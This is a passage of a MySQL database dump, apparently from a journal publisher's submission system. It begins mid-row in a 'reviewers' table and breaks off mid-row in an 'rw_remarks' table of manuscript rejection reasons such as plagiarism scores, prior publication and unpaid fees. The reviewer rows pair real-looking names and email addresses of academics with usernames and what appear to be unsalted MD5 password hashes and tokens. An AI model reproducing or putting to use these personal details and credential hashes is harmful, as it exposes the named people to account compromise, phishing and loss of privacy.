Giulio','Favalli','Ennio.Favalli@unimi.it','reviewer_21715','767f3e596f2ad37103861a54e0accc6a','XCr4LR',NULL,996,3649,'2023-08-30',1,1,NULL,NULL,2,3,1,'5TZbzR'),(21716,'Fabio','Fischetti','fabio.fischetti@asugi.sanita.fvg.it','reviewer_21716','7b46063e89c44d9cc1dd6eff0805df41','Q26IPH',NULL,996,3649,'2023-08-30',1,1,NULL,NULL,2,3,1,'MKzFSy'),(21717,'Micaela','Fredi','micaela.fredi@unibs.it','reviewer_21717','1cc8be825525fc7eddf8666c759b086d','T7CCGf',NULL,996,3649,'2023-08-30',1,1,NULL,'2023-11-14 03:17:51',2,3,1,'TdUUsi'),(21718,'Elena','Galli','elena.galli@unimore.it','reviewer_21718','565f3bab7dc08266429ee5d80bd40cd7','6cUm7W',NULL,996,3649,'2023-08-30',1,1,NULL,NULL,2,3,1,'mA1pN8'),(21719,'Stefano','Gentileschi','stefano.gentileschi@unisi.it.','reviewer_21719','b82cb6e12e7d20a793b66f7dd62f2aaa','72z7G7',NULL,996,3649,'2023-08-30',1,1,NULL,NULL,2,3,1,'4GGmtX'),(21720,'Mauro','Daniele','daniele.mauro@unicampania.it','reviewer_21720','b33b1408f15232279b74ba32b09c8637','3QQM5K',NULL,996,3649,'2023-08-30',1,1,NULL,NULL,2,3,1,'E76RAP'),(21721,'Sara','Monti','sara.monti@unipv.it','reviewer_21721','9a402be4f29d5e7dadafec2ad3c3c3eb','rSqovI',NULL,996,3649,'2023-08-30',1,1,NULL,NULL,2,3,1,'Ha4PyY'),(21722,'Cristiano','Alessandri','cristiano.alessandri@uniroma1','reviewer_21722','05390bec1f43d30796bad289558f09cb','isSY2c',NULL,996,3649,'2023-08-30',1,1,NULL,NULL,2,3,1,'ix3cq7'),(21723,'Ettore','Silvagni','slvttr@unife.it.','reviewer_21723','5588969cab2aa67d52007e19ff7af7e5','czdvi9',NULL,996,3649,'2023-08-30',1,1,NULL,NULL,2,3,1,'7RvtBU'),(21724,'Francesca Romana','Spinelli','francescaromana.spinelli@uniroma1.it.','reviewer_21724','f63b7213a98a5bd3ef031cd75b30b9c7','95cgCJ',NULL,996,3649,'2023-08-30',1,1,NULL,NULL,2,3,1,'KvIfN4'),(21725,'Silvia','Bellando Randone','silvia.bellandorandone@unifi.it','reviewer_21725','6f31a52b13a9e036a258912a3274156e','RbL3kP',NULL,996,3649,'2023-08-30',1,1,NULL,NULL,2,3,1,'gu5Itp'),(21726,'Ethan','Williams','ethanwilliams281996@gmail.com','reviewer_21726','dcdc13870c019b85118ad5d672620a45','FS7GTO',NULL,639,4830,'2023-09-01',1,1,NULL,'2023-09-01 11:40:06',6,3,1,'2JCZyo'),(21727,'Ethan','Williams','ethanwilliams281996@gmail.com','reviewer_21727','569fa60d89e911a6dce67f8187a00a6b','xcpwwe',NULL,971,59076,'2023-10-09',1,1,NULL,'2023-10-09 16:46:52',7,3,1,'MXNQNI'),(21728,'Shirley','MacLaine','shirleypulsus@gmail.com','reviewer_21728','acd44bdf7cf978249dcb5e043e14c529','nKjGP4',NULL,45,5433,'2023-10-11',1,1,NULL,'2023-10-11 09:52:47',7,3,1,'UsAEAi'),(21729,'emaline','francis','emalinefrancis@gmail.com','reviewer_21729','dfcf04d660dd8ca8cd66df3b3c328426','VfN17L',NULL,251,783,'2023-10-30',1,1,NULL,'2024-04-19 09:47:45',6,3,1,'YvmPB4'),(21730,'shinee','shan','shineeshan@gmail.com',NULL,NULL,NULL,NULL,91,59095,'2023-11-14',1,0,NULL,NULL,4,3,1,NULL),(21731,'Chenxu “Vincent”','Guo','chenxg@uci.edu','reviewer_21731','63f15e7be1d11c197fc9ddf386a1a1bd','3U63aK',NULL,91,59095,'2023-11-15',1,1,NULL,NULL,3,3,1,'o5CqSp'),(21732,'emaline','francis','emalinefrancis@gmail.com','reviewer_21732','107711343a62e860dd4d7ccb033b75c3','jzpIxV',NULL,971,5380,'2023-12-07',1,1,NULL,'2023-12-07 12:19:44',7,3,1,'31oABb'),(21733,'emaline','francis','emalinefrancis@gmail.com','reviewer_21733','0978b048e552fe9b9fc180854726b03c','ipnFYa',NULL,639,1780,'2023-12-07',1,1,NULL,'2024-03-20 15:16:01',7,3,1,'OYqoGn'),(21734,'emaline','francis','emalinefrancis@gmail.com','reviewer_21734','363805a8f9c1553c0dbc7b0228fcb307','7QpwSS',NULL,45,3829,'2023-12-11',1,1,NULL,'2024-01-17 14:12:33',7,3,1,'MoF1KS'),(21735,'Christiana','Nicolaou','christiana.nicolaou@cut.ac.cy','reviewer_21735','e0fe28769924e7cd488176319866ccca','YCb3G7',NULL,45,5387,'2024-02-09',1,1,NULL,NULL,2,3,1,'LrzTM6'),(21736,'Sanjay','Chahar','chahars@gmail.com','reviewer_21736','f6bfc43ba88e61a696be403f8220f050','iNj310',NULL,959,5428,'2024-02-21',1,1,NULL,NULL,2,3,1,'rC1KKz'),(21737,'Tesfaye','Barza Zema','tesfayebarza@gmail.com',NULL,NULL,NULL,NULL,45,59212,'2024-02-28',1,0,NULL,NULL,5,3,1,NULL),(21738,'Gemechu','Bekele','gemechugelan@gmail.com',NULL,NULL,NULL,14749,45,3827,'2024-05-29',1,0,NULL,NULL,1,3,1,NULL),(21739,'Bikila','Debelo','werkitef@gmail.com',NULL,NULL,NULL,14749,45,3827,'2024-05-29',1,0,NULL,NULL,1,3,1,NULL),(21740,'Kalkidan','Bejitual','kalkidan12bhu@gmail.com',NULL,NULL,NULL,14749,45,3827,'2024-05-29',1,0,NULL,NULL,1,3,1,NULL),(21741,'Degefa','Gomora','degefagomora@gmail.com',NULL,NULL,NULL,14749,45,3827,'2024-05-29',1,0,NULL,NULL,1,3,1,NULL);
/*!40000 ALTER TABLE `reviewers` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `rw_remarks`
--

DROP TABLE IF EXISTS `rw_remarks`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!50503 SET character_set_client = utf8mb4 */;
CREATE TABLE `rw_remarks` (
  `rw_id` int NOT NULL AUTO_INCREMENT,
  `m_id` int NOT NULL,
  `rej_type` tinyint(1) NOT NULL,
  `plag_file` varchar(40) DEFAULT NULL,
  `rw_remarks` longtext NOT NULL,
  `date` date NOT NULL,
  PRIMARY KEY (`rw_id`)
) ENGINE=InnoDB AUTO_INCREMENT=2569 DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `rw_remarks`
--

LOCK TABLES `rw_remarks` WRITE;
/*!40000 ALTER TABLE `rw_remarks` DISABLE KEYS */;
INSERT INTO `rw_remarks` VALUES (1,3485,0,NULL,'Plagiarism 74%','2020-05-20'),(2,3485,0,NULL,'Plagiarism 74%','2020-05-20'),(3,4168,0,NULL,'Already submitted the file.','2020-05-21'),(4,4082,0,NULL,'Article exists in Anatomy & Physiology: Current Research with the title of fever is not a symptom of any disease none of the diseases require fever as its symptom.','2020-05-21'),(5,4161,0,NULL,'Rejected, already published http://gjmedph.com/uploads/O5-Vo6No5.pdf','2020-05-21'),(6,4164,0,NULL,'59.4% plagarism','2020-05-21'),(7,3903,0,NULL,'already exist in other journal','2020-05-21'),(8,4211,0,NULL,'Rejected','2020-05-22'),(9,3594,0,NULL,'withdraw','2020-05-22'),(10,3557,0,NULL,'author has withdrawn due to there is no ISSN and impact factor,','2020-05-22'),(11,3816,0,NULL,'Article is already published in Science direct.  https://www.sciencedirect.com/science/article/pii/S2215098619316489','2020-05-22'),(12,4196,0,NULL,'preqc rejected','2020-05-23'),(13,4192,0,NULL,'Rejected, Plagiarised 74.5%','2020-05-23'),(14,2888,0,NULL,'not able to pay the minimum publication fee','2020-05-23'),(15,3419,0,NULL,'not able to pay the minimum publication fee','2020-05-23'),(16,3792,0,NULL,'not able to pay the minimum publication fee','2020-05-23'),(17,3942,0,NULL,'author did not respond to pay.','2020-05-23'),(18,3710,0,NULL,'author did not respond to pay.','2020-05-23'),(19,4229,0,NULL,'Plagiarism of 83.8%','2020-05-23'),(20,4037,0,NULL,'not able to pay the minimum publication fee','2020-05-23'),(21,4040,0,NULL,'Already published','2020-05-23'),(22,4067,0,NULL,'too small to accept as case report','2020-05-23'),(23,4067,0,NULL,'too small to accept as case report','2020-05-23'),(24,3234,0,NULL,'By mistake he submitted in wrong journal, he wants indexing journal.','2020-05-23'),(25,3889,0,NULL,'change article type to short communication','2020-05-23'),(26,3645,0,NULL,'Asked for SCOPUS indexing..Informed the author to submit to BMR IJPS Special issue','2020-05-23'),(27,3254,0,NULL,'Rejected based on content','2020-05-23'),(28,3254,0,NULL,'Rejected based on content','2020-05-23'),(29,4225,0,NULL,'PreQC Rejected : Article published at https://www.longdom.org/open-access/incidence-and-predictors-of-pulmonary-events-among-patients-with-hodgkin-lymphoma-treated-with-bleomycin-in-the-us-department-of-d-2167-7700-1000261.pdf','2020-05-23'),(30,4220,0,NULL,'PreQC Rejected: Already published https://j.ideasspread.org/index.php/ijas/article/view/154','2020-05-23'),(31,4219,0,NULL,'PreQC Rejected: Already published https://www.ncbi.nlm.nih.gov/pmc/articles/PMC1570487/','2020-05-23'),(32,3637,0,NULL,'Not willing to pay','2020-05-23'),(33,4186,0,NULL,'Article exists in Anatomy & Physiology: Current Research','2020-05-23'),(34,4212,0,NULL,'Article exists in Integrative Journal of Global Health','2020-05-23'),(35,3969,0,NULL,'Article is too short','2020-05-23'),(36,3900,0,NULL,'Already published','2020-05-23'),(37,2878,0,NULL,'Preqc rejected','2020-05-23'),(38,3076,0,NULL,'Pre qc rejected','2020-05-23'),(39,3208,0,NULL,'revised','2020-05-23'),(40,3958,0,NULL,'Too large as review paper','2020-05-23'),(41,3076,0,NULL,'pre qc rejected','2020-05-23'),(42,3076,0,NULL,'pre qc rejected','2020-05-23'),(43,3076,0,NULL,'pre qc rejected','2020-05-23'),(44,3076,0,NULL,'pre qc rejected','2020-05-23'),(45,3076,0,NULL,'pre qc rejected','2020-05-23'),(46,3076,0,NULL,'pre qc rejected','2020-05-23'),(47,3012,0,NULL,'pre qc rejected','2020-05-23'),(48,2991,0,NULL,'pre qc rejected','2020-05-23'),(49,2990,0,NULL,'pre qc rejected','2020-05-23'),(50,3571,0,NULL,'pre qc rejected','2020-05-23'),(51,3516,0,NULL,'pre qc rejected','2020-05-23'),(52,3516,0,NULL,'pre qc rejected','2020-05-23'),(53,3223,0,NULL,'pre qc rejected','2020-05-23'),(54,3958,0,NULL,'too large to accept as review','2020-05-23'),(55,3446,0,NULL,'pre qc rejected','2020-05-23'),(56,2938,0,NULL,'pre qc rejected','2020-05-23'),(57,2952,0,NULL,'pre qc rejected','2020-05-23'),(58,2958,0,NULL,'pre qc rejected','2020-05-23'),(59,2959,0,NULL,'pre qc rejected','2020-05-23'),(60,2959,0,NULL,'pre qc rejected','2020-05-23'),(61,2958,0,NULL,'pre qc rejected','2020-05-23'),(62,3057,0,NULL,'pre qc rejected','2020-05-23'),(63,3404,0,NULL,'pre qc rejected','2020-05-23'),(64,3332,0,NULL,'pre qc rejected','2020-05-23'),(65,3298,0,NULL,'pre qc rejected','2020-05-23'),(66,3297,0,NULL,'pre qc rejected','2020-05-23'),(67,3251,0,NULL,'pre qc rejected','2020-05-23'),(68,2879,0,NULL,'pre qc rejected','2020-05-23'),(69,2929,0,NULL,'pre qc rejected','2020-05-23'),(70,2961,0,NULL,'pre qc rejected','2020-05-23'),(71,2961,0,NULL,'pre qc rejected','2020-05-23'),(72,3092,0,NULL,'pre qc rejected','2020-05-23'),(73,3222,0,NULL,'pre qc rejected','2020-05-23'),(74,3214,0,NULL,'pre qc rejected','2020-05-23'),(75,3198,0,NULL,'pre qc rejected','2020-05-23'),(76,3134,0,NULL,'pre qc rejected','2020-05-23'),(77,3106,0,NULL,'pre qc rejected','2020-05-23'),(78,3170,0,NULL,'pre qc rejected','2020-05-23'),(79,3157,0,NULL,'pre qc rejected','2020-05-23'),(80,3554,0,NULL,'rejected in q1','2020-05-23'),(81,3684,0,NULL,'Already published','2020-05-23'),(82,3464,0,NULL,'withdrawn','2020-05-23'),(83,3253,0,NULL,'withdrawn','2020-05-23'),(84,4224,0,NULL,'Already published','2020-05-23'),(85,3758,0,NULL,'Fake document. Not in article format','2020-05-23'),(86,3758,0,NULL,'Fake document. Not in article format','2020-05-23'),(87,3767,0,NULL,'Fake document. Not in article format','2020-05-23'),(88,3766,0,NULL,'Fake document. Not in article format','2020-05-23'),(89,3765,0,NULL,'Fake document. Not in article format','2020-05-23'),(90,3764,0,NULL,'Fake document. Not in article format','2020-05-23'),(91,3763,0,NULL,'Fake document. Not in article format','2020-05-23'),(92,3762,0,NULL,'Fake document. Not in article format','2020-05-23'),(93,3761,0,NULL,'Fake document. Not in article format','2020-05-23'),(94,3761,0,NULL,'Fake document. Not in article format','2020-05-23'),(95,3761,0,NULL,'Fake document. Not in article format','2020-05-23'),(96,3760,0,NULL,'Fake document. Not in article format','2020-05-23'),(97,3759,0,NULL,'Fake document. Not in article format','2020-05-23'),(98,2853,0,NULL,'Author want to rewrite the article','2020-05-23'),(99,3347,0,NULL,'Rejected','2020-05-23'),(100,3473,0,NULL,'-','2020-05-23'),(101,3542,0,NULL,'-','2020-05-23'),(102,3990,0,NULL,'Article exists in Computer Engineering & Information Technology with the title of automatic question paper generator system','2020-05-23'),(103,4222,0,NULL,'Rejected most of the content is online','2020-05-23'),(104,3960,0,NULL,'--','2020-05-23'),(105,4047,0,NULL,'Article exists in Journal of Preventive Medicine','2020-05-23'),(106,3168,0,NULL,'Author wanted a UGC approved Journal and a free publication','2020-05-25'),(107,3671,0,NULL,'Author wanted a free publication and scopus indexing','2020-05-25'),(108,3384,0,NULL,'Rejected, approved in Advances in Crop Science and Technology, 16-02-2019, 215343','2020-05-25'),(109,2361,0,NULL,'No response from author after pdf galley proof and invoice was sent\r\nwas waiting for the response ever since','2020-05-25'),(110,3184,0,NULL,'Submitted to International Journal of Innovative Research in Computer and Communication Engineering journal also','2020-05-25'),(111,2828,0,NULL,'Author has withdrawn the article','2020-05-25'),(112,3599,0,NULL,'Rejected','2020-05-25'),(113,3496,0,NULL,'Already submitted in another journal','2020-05-25'),(114,3892,0,NULL,'Author is not satisfied with impact factor.','2020-05-25'),(115,3892,0,NULL,'Author is not satisfied with impact factor','2020-05-25'),(116,4214,0,NULL,'Only abstract submitted','2020-05-25'),(117,3866,0,NULL,'Impact factor is not satisfying','2020-05-25'),(118,2924,0,NULL,'Not impressed with impact factor','2020-05-25'),(119,2909,0,NULL,'Not impressed with journal','2020-05-25'),(120,2895,0,NULL,'No replies','2020-05-25'),(121,2814,0,NULL,'Author have conflict of interest regarding payment','2020-05-25'),(122,3458,0,NULL,'Already submitted in another Journal','2020-05-25'),(123,4259,0,NULL,'Not in the scope of the journal','2020-05-25'),(124,4106,0,NULL,'plagiarised','2020-05-25'),(125,4108,0,NULL,'already published','2020-05-25'),(126,4233,0,NULL,'Rejected based on content.','2020-05-25'),(127,3928,0,NULL,'Author has already submitted to Journal of Computer Science & Systems Biology','2020-05-25'),(128,4210,0,NULL,'Pre Qc Rejected, Plagiarised 65%','2020-05-25'),(129,4204,0,NULL,'Pre Qc Rejected, most of the content is online','2020-05-25'),(130,4105,0,NULL,'withdrawn and submitted revised article .','2020-05-25'),(131,4254,0,NULL,'Rejected, Plagiarised 93.4%','2020-05-25'),(132,3768,0,NULL,'Not in the scope of the journal','2020-05-25'),(133,3235,0,NULL,'Not willing to pay, and said this is an predatory journal.','2020-05-25'),(134,4208,0,NULL,'Rejected, already published https://www.jgtps.com/admin/uploads/rwFM7V.pdf','2020-05-25'),(135,3369,0,NULL,'withdrawn','2020-05-25'),(136,4279,0,NULL,'not in the scope of journal, plagiarism 45%','2020-05-26'),(137,3754,0,NULL,'author did not respond for payment','2020-05-26'),(138,3745,0,NULL,'author did not respond for payment','2020-05-26'),(139,2762,0,NULL,'author did not respond for payment','2020-05-26'),(140,2722,0,NULL,'author did not respond for payment','2020-05-26'),(141,2710,0,NULL,'author did not respond for payment','2020-05-26'),(142,2592,0,NULL,'author did not respond for payment','2020-05-26'),(143,3929,0,NULL,'Not Journal related','2020-05-26'),(144,3994,0,NULL,'Article exists in Journal of Research in Medical and Dental Science with the title of multiple sclerosis associated with systemic sclerosis scleroderma case report','2020-05-26'),(145,4291,0,NULL,'Same submission is already exist in this journal only. This submission does not have images. Author has submitted the corrected file with images.','2020-05-26'),(146,4201,0,NULL,'author withdraw the manuscript','2020-05-26'),(147,3679,0,NULL,'author withdraw','2020-05-26'),(148,3703,0,NULL,'author withdraw','2020-05-26'),(149,4175,0,NULL,'sent for re submission','2020-05-26'),(150,3942,0,NULL,'article already published','2020-05-26'),(151,4054,0,NULL,'having plagarised content','2020-05-26'),(152,4235,0,NULL,'Already submitted in journal of Blood and Lymph','2020-05-26'),(153,3480,0,NULL,'Article exists in Journal of Nuclear Medicine & Radiation Therapy with the title of radioprotective efficacy of marine algae','2020-05-26'),(154,3487,0,NULL,'Article exists in Clinical Pharmacology and Toxicology Research','2020-05-26'),(155,3174,0,NULL,'Submitted same article twice','2020-05-26'),(156,1961,0,NULL,'Submitted same article twice','2020-05-26'),(157,4063,0,NULL,'Article submitted by the author was Bible','2020-05-26'),(158,4163,0,NULL,'Plagiarized','2020-05-26'),(159,3871,0,NULL,'Plagiarized','2020-05-26'),(160,2949,0,NULL,'Plagiarized','2020-05-26'),(161,3904,0,NULL,'Author has submitted only Article title and affiliation details. No file inventory submitted by the author.\r\nWritten to author, but no response in return.','2020-05-26'),(162,3644,0,NULL,'want to have wet lab analysis to the existing manuscript','2020-05-26'),(163,3854,0,NULL,'wants to withdraw and submit to another journal','2020-05-26'),(164,3927,0,NULL,'Article exists in Physical Chemistry: An Indian Journal with the title of oxacillin as corrosion inhibitors for mild steel in 1m hydrochloric acid solution.','2020-05-26'),(166,2602,0,NULL,'no response from author','2020-05-26'),(168,3957,0,NULL,'Article exists in Journal of Lasers, Optics & Photonics with the title of nature of chemical elements','2020-05-26'),(169,1791,0,NULL,'already exist in another journal','2020-05-26'),(170,1201,0,NULL,'Reject, Plagiarized 76.7%','2020-05-26'),(171,2785,0,NULL,'want to have wavier','2020-05-26'),(173,4252,0,NULL,'not in proper format','2020-05-26'),(174,4292,0,NULL,'Pre Qc Rejected.','2020-05-26'),(175,4010,0,NULL,'Rejected, Plagiarised 67.3%','2020-05-26'),(176,4306,0,NULL,'Not in the scope of the journal, Plagiarism 42.5%','2020-05-27'),(177,4275,0,NULL,'already published in other journal','2020-05-27'),(178,4260,0,NULL,'Journal of Clinical Immunology and Research','2020-05-27'),(179,4282,0,NULL,'Not willing to pay at all','2020-05-27'),(180,4084,0,NULL,'Author decide to withdraw.','2020-05-27'),(181,3602,0,NULL,'WITHDRAWN DUE TO LESS CONTENT. POWER POINT FORM SUBMISSION','2020-05-27'),(182,3582,0,NULL,'Article exists in Aesthetic & Reconstructive Surgery with the title of body contouring intramuscular gluteal augmentation following massive weight loss pilot study','2020-05-27'),(183,3807,0,NULL,'NOT SUITABLE FOR PUBLICATION.','2020-05-27'),(184,4048,0,NULL,'Article exists in Journal of Infectious Diseases and Therapy','2020-05-27'),(185,4300,0,NULL,'PreQC Rejected: Already Published at  https://www.researchgate.net/publication/338487531_Pathological_Interaction_between_DNA_Repair_and_Mitochondrial_Dysfunction_in_ALS','2020-05-27'),(186,4287,0,NULL,'PreQC Rejected: Published at: https://dasevolutionvongott.wordpress.com/','2020-05-27'),(187,3140,0,NULL,'No response from author.','2020-05-27'),(188,2844,0,NULL,'Author decided to withdraw.','2020-05-27'),(189,2667,0,NULL,'No response from author.','2020-05-27'),(190,2577,0,NULL,'Rejected in Peer review process.','2020-05-27'),(191,2740,0,NULL,'Author decided to withdraw.','2020-05-27'),(192,2577,0,NULL,'Rejected in Peer review process.','2020-05-27'),(193,4299,0,NULL,'it was the same .manuscript was entitled \"pregnancy in uterus didelphy delivered by cesarean delivery \". while I submit through a manuscript  a submitting track system was restricted me because the manuscript was submited  by email with the same name. cojenital uterine malformation is not a correct manuscript title.: Reply by author.   Same manuscript is already in process.','2020-05-27'),(194,4301,0,NULL,'PreQC Rejected: Published at: https://translationalneurodegeneration.biomedcentral.com/track/pdf/10.1186/s40035-019-0156-x','2020-05-27'),(195,4305,0,NULL,'plagiarism','2020-05-27'),(196,4170,0,NULL,'already published','2020-05-27'),(197,4061,0,NULL,'not interested','2020-05-27'),(198,4060,0,NULL,'not interested','2020-05-27'),(199,3703,0,NULL,'author mailed me that he has submitted by mistake so asked to reject the article','2020-05-27'),(200,3456,0,NULL,'Author asked to withdraw the article','2020-05-27'),(201,2833,0,NULL,'Too short to accept as case report...from preqc','2020-05-27'),(202,2769,0,NULL,'too large article by preqc','2020-05-27'),(203,2661,0,NULL,'author withdrawn the article after processing because of the payment','2020-05-27'),(204,3688,0,NULL,'plagarism','2020-05-27'),(205,1025,0,NULL,'withdrawn by author for payment issue','2020-05-27'),(206,4347,0,NULL,'PreQC Rejected: Already Published at: https://onlinelibrary.wiley.com/doi/full/10.1111/raq.12193','2020-05-28'),(207,4346,0,NULL,'PreQC Rejected: Already Published at: https://pubmed.ncbi.nlm.nih.gov/31778174/','2020-05-28'),(208,4333,0,NULL,'already published','2020-05-28'),(209,4339,0,NULL,'Most of the content is online','2020-05-28'),(210,2735,0,NULL,'Plagirised','2020-05-28'),(211,4088,0,NULL,'Rejected in Pre-qc [Not in the scope of the journal]','2020-05-28'),(212,4154,0,NULL,'Rejected in Pre-qc [Not in the scope of the journal]','2020-05-28'),(213,4295,0,NULL,'Article exists in Nanomaterials & Molecular Nanotechnology with the title of an overview of nano manufacturing with bibliometric indicators','2020-05-28'),(214,4296,0,NULL,'Article exists in Nanomaterials & Molecular Nanotechnology with the title of memory model of magnetization of magnetic fluid','2020-05-28'),(215,4297,0,NULL,'Article exists in Nanomaterials & Molecular Nanotechnology with the title of an overview of nano manufacturing with bibliometric indicators','2020-05-28'),(216,4304,0,NULL,'Article exists in Materials Science and Nanotechnology with the title of nanotechnology and computational tool based study of crispr cas9 research in biomedical engineering','2020-05-28'),(217,4317,0,NULL,'Article exists in Journal of Chemical and Pharmaceutical Research','2020-05-28'),(218,4329,0,NULL,'Rejected already published https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4350971/','2020-05-28'),(219,4326,0,NULL,'https://www.nejm.org/doi/full/10.1056/NEJMoa1813730 Already published','2020-05-28'),(220,4334,0,NULL,'Banned Author','2020-05-28'),(221,2912,0,NULL,'Plagiarized','2020-05-28'),(222,3915,0,NULL,'Author has changed the article title as per preqc remarks and submitted with the new title twice.','2020-05-28'),(223,3450,0,NULL,'Rejected','2020-05-28'),(224,4369,0,NULL,'published','2020-05-28'),(225,3836,0,NULL,'Submitted 2 times','2020-05-29'),(226,3304,0,NULL,'Author had asked to withdraw, because Journal is not PubMed Indexed','2020-05-29'),(227,3193,0,NULL,'Author had submitted and published to other journal, without intimating us, manuscript found at https://medcraveonline.com/GHOA/GHOA-11-00413.pdf','2020-05-29'),(228,2998,0,NULL,'Manuscript was not suitable in PreQC. Comment: too large to accept as editorial','2020-05-29'),(229,2996,0,NULL,'Manuscript was not suitable in PreQC. Comment: too large to accept as editorial','2020-05-29'),(230,1388,0,NULL,'Manuscript was under Revised Status, Plagiarized 45.3%, Author was no more interested to re-write the content','2020-05-29'),(231,347,0,NULL,'Manuscript went for Revision after peer review : Author no more interested to submit revised submission back','2020-05-29'),(232,469,0,NULL,'Submitted 2 times','2020-05-29'),(233,4372,0,NULL,'Rejected already published','2020-05-29'),(234,4345,0,NULL,'already published','2020-05-29'),(235,4050,0,NULL,'Author withdrawed the manuscript, with no reason specified, had deleted the manuscript submission files on its own','2020-05-29'),(236,4363,0,NULL,'Already Published','2020-05-29'),(237,4084,0,NULL,'PC request to withdraw the article from Journal of Universal Surgery and proceed with the Anesthesia Journal.','2020-05-29'),(238,4264,0,NULL,'Rejected, submitted to Journal of Parasitic Diseases: Diagnosis and Therapy','2020-05-29'),(239,4121,0,NULL,'want waiver for publishing the article','2020-05-29'),(240,4121,0,NULL,'Accepted to process the article.','2020-05-29'),(241,4388,0,NULL,'Rejected, Plagiarised 74.5%','2020-05-29'),(242,4389,0,NULL,'Rejected, Plagiarised 74.5%','2020-05-29'),(243,4389,0,NULL,'Rejected, Plagiarised 74.5%','2020-05-29'),(244,3542,0,NULL,'--','2020-05-29'),(245,4072,0,NULL,'Not under the scope of the journal.','2020-05-30'),(246,3980,0,NULL,'withdrawn','2020-05-30'),(247,4082,0,NULL,'Article exists in Anatomy & Physiology: Current Research with the title of fever is not a symptom of any disease none of the diseases require fever as its symptom.','2020-05-30'),(248,4121,0,NULL,'not willing to pay for publishing the article','2020-05-30'),(249,4234,0,NULL,'Rejected already published http://pubs.sciepub.com/articleinpress/ijcd/ijcd-8-1-2.pdf','2020-05-30'),(250,4382,0,NULL,'Rejected already published https://www.longdom.org/open-access/minor-pediatric-head-trauma-in-the-emergency-unit-2165-7548.1000222.pdf','2020-05-30'),(251,4340,0,NULL,'rejected','2020-06-01'),(252,4351,0,NULL,'Rejected','2020-06-01'),(253,4384,0,NULL,'rejected','2020-06-01'),(254,4335,0,NULL,'Rejected','2020-06-01'),(255,4312,0,NULL,'Rejected','2020-06-01'),(256,4309,0,NULL,'Rejected','2020-06-01'),(257,4308,0,NULL,'Rejected','2020-06-01'),(258,4307,0,NULL,'Rejected','2020-06-01'),(259,4278,0,NULL,'Rejected','2020-06-01'),(260,4277,0,NULL,'Rejected','2020-06-01'),(261,4270,0,NULL,'Rejected','2020-06-01'),(262,4269,0,NULL,'Rejected','2020-06-01'),(263,4267,0,NULL,'Rejected','2020-06-01'),(264,4266,0,NULL,'Rejected','2020-06-01'),(265,4266,0,NULL,'Rejected','2020-06-01'),(266,4156,0,NULL,'Does not come under journal scope','2020-06-01'),(267,3129,0,NULL,'Rejected','2020-06-01'),(268,4391,0,NULL,'Article exists in Journal of Chemical and Pharmaceutical Research','2020-06-01'),(269,4390,0,NULL,'Article exists in Journal of Chemical and Pharmaceutical Research','2020-06-01'),(270,4089,0,NULL,'Pre Qc Rejected','2020-06-01'),(271,4355,0,NULL,'Too short to accept as case report','2020-06-01'),(272,4031,0,NULL,'Article not uploaded. No reply from author','2020-06-01'),(273,3643,0,NULL,'92.8 percent plagiarized','2020-06-01'),(274,3707,0,NULL,'Reject, Plagiarised 69.8%','2020-06-01'),(275,3920,0,NULL,'SBA, Upload full article','2020-06-01'),(276,4176,0,NULL,'SBA, too large to accept as review','2020-06-01'),(277,4250,0,NULL,'This journal published only spanish language articles','2020-06-01'),(278,4153,0,NULL,'not received full article and no response from author','2020-06-01'),(279,4206,0,NULL,'Rejected, already published https://innovareacademics.in/journals/index.php/ijcpr/article/view/34099','2020-06-01'),(280,3960,0,NULL,'Article exists in Journal of Clinical Research and Pharmacy with the title of some aspects of medicine distribution in sudan','2020-06-01'),(281,2841,0,NULL,'author not interested','2020-06-01'),(282,3989,0,NULL,'to long to accept as any article','2020-06-01'),(283,4037,0,NULL,'Plagarised','2020-06-01'),(284,4246,0,NULL,'The submission only has the abstract and also the article details mentioned in the manuscript and at the time of submission are different.','2020-06-01'),(285,4380,0,NULL,'the submission is already submitted to other Journal','2020-06-01'),(286,4358,0,NULL,'Banned Author','2020-06-01'),(287,3828,0,NULL,'incomplete submission author not responding','2020-06-02'),(288,4421,0,NULL,'Banned Author','2020-06-02'),(289,4457,0,NULL,'Article exists in Journal of Chemical and Pharmaceutical Research','2020-06-02'),(290,4435,0,NULL,'Rejected already published http://scivisionpub.com/pdfs/effects-of-human-immunodeficiency-virus-infection-and-antiretroviral-therapy-on-ovarian-reserve-and-invitro-fertilisation-success-547.pdf','2020-06-02'),(291,4436,0,NULL,'Rejected already published https://irispublishers.com/wjgwh/pdf/WJGWH.MS.ID.000529.pdf','2020-06-02'),(292,4395,0,NULL,'Rejected already published https://nursingresearch.nursingmeetings.com/abstract/2019/cross-cultural-perspectives-of-suicide-in-adolescents-and-young-adults-among-the-south-koreans-indians-and-filipinos','2020-06-02'),(293,4420,0,NULL,'Rejected already published https://obesitymedicine.org/how-does-bariatric-surgery-impact-your-risk-of-diabetes/','2020-06-02'),(294,4338,0,NULL,'Rejected already published https://www.degruyter.com/view/journals/nanoph/8/12/article-p2065.xml?language=en','2020-06-02'),(295,4413,0,NULL,'Rejected already published https://obesitymedicine.org/how-does-bariatric-surgery-impact-your-risk-of-diabetes/','2020-06-02'),(296,4440,0,NULL,'Rejected already published https://www.ospublishers.com/Effect-of-Low-Level-Yellow-Laser-Light-589nm-on-Virus-Prevention-Corona-Virus-(COVID-19).html','2020-06-02'),(297,4327,0,NULL,'need to change article type to short communication.','2020-06-02'),(298,4311,0,NULL,'Already published','2020-06-02'),(299,4403,0,NULL,'Already published.\r\njurnal.ugm.ac.id/bkm/article/download/39905/23061','2020-06-02'),(300,4418,0,NULL,'Already published','2020-06-03'),(301,4414,0,NULL,'banned author','2020-06-03'),(302,4479,0,NULL,'Article submitted to Acta Scientific microbiology, need author consent','2020-06-03'),(303,3495,0,NULL,'no response from author','2020-06-03'),(304,4492,0,NULL,'Rejected already published https://irispublishers.com/wjgwh/pdf/WJGWH.MS.ID.000529.pdf','2020-06-03'),(305,4430,0,NULL,'already exists in some journal','2020-06-03'),(306,4198,0,NULL,'same file','2020-06-03'),(307,4197,0,NULL,'same file','2020-06-03'),(308,4475,0,NULL,'Not in the scope of the journal and already published in Journal of Bioanalysis & Biomedicine','2020-06-03'),(309,4155,0,NULL,'Author uploaded twice','2020-06-03'),(310,3625,0,NULL,'no relevant','2020-06-04'),(311,4499,0,NULL,'no file uploaded','2020-06-04'),(312,4493,0,NULL,'Rejected already published 